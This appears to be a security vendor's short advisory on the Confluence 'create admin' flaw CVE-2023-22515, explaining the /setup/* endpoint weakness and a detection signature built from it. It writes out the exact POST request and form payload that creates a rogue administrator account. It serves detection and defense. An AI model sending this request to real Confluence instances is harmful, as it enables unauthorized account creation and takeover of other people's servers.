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Atlassian Confluence 'Create Admin' Cross-Site Request Forgery (CVE-2023-22515)



Appliances Details

On-premise Atlassian Confluence Data Center and Server products.


Vulnerability

Atlassian Confluence Data Center and Server could allow a remote attacker to gain elevated privileges on the system, caused by an error related to the /setup/* endpoints on Confluence instances.


Identification

An attacker could exploit this vulnerability to create administrator accounts that can be used to access Confluence instances.

POST /setup/setupadministrator.action

PAYLOAD -
username=haxor&fullName=haxor&email=haxor%40localhost&password=Password2&confirm=Password2&setup-next-button=Next

Detection

By turning this into a traffic file and matching rule, we are able to detect attempts to create administrator accounts that can be used to access Confluence instances.


Coverage

Idappcom have created signature 8024298 along with a traffic file for this vulnerability.


References


Traffic IQ

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